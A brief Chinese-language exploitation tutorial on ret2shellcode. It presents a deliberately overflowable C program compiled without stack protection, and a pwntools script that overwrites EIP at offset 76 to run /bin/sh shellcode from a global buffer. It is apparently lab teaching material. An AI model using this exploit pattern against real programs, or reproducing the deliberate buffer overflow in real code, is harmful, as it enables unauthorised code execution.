ret2shellcode的關鍵是找到一個緩沖區,這個緩沖區是可讀寫寫可執行的,我們要想辦法把我們的shellcdoe放到這個緩沖區,然后跳轉到我們的shellcode處執行。
例子:
#include <stdio.h>
#include <string.h>
char str1[0x40];void func()
{char str[0x40];read(0,str,0x60);strcpy(str1,str);
}
int main()
{func();return 0;
}
可以看出,read處有溢出
編譯:
gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c
找到溢出點:
用peda生成100個字符,
溢出查看此時的EIP
溢出點在76
找到str1首地址
0x804a060
寫出我們的poc
from pwn import *
context(arch="i386",os="linux")
p=process('./6.exe')
offset = 76
shellcode=asm(shellcraft.sh()) //生成shellcode代碼,這里的shellcode越短越好,長度不能超過溢出的長度76
payload =shellcode.ljust(offset,'\x90')+p32(0x804a060) //ljust是為了讓\x90填充我們的shellcode,讓其長度達到76,0x804a060是str1的首地址,目的是為了跳轉到str1首地址,去執行我們的shellcode
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
執行,成功獲得權限
注:
生成shellcdoe方法:
方法1.用pwntool或者peda和msfpc或者msfvenom工具生成,支持上線,最好越短越好
例如用pwntool中的shellcraft.sh(),再轉匯編字節碼asm()
asm(shellcraft.sh()),程序中我們是利用peda生成的。
方法2.手寫,其實網上一搜到處都是,可以直接用,但自己要和前段時間windows一樣自己調試提取
就是想辦法調用evecve("/bin/sh",null,null);
總結
ret2shellcode的本意是我們在程序當中能找到一塊緩沖區,這個緩沖區可讀可寫可執行,然后想各種辦法,把我們的shellcode搞進這個緩沖區,然后到這個緩沖區頭部去執行。
像上面的例子中,我們利用棧溢出將我們生成的shellcdoe復制到str1處,str1處可讀可寫可執行,并且在構造payload中加入了這個str1首地址,到這里去執行我們的shellcode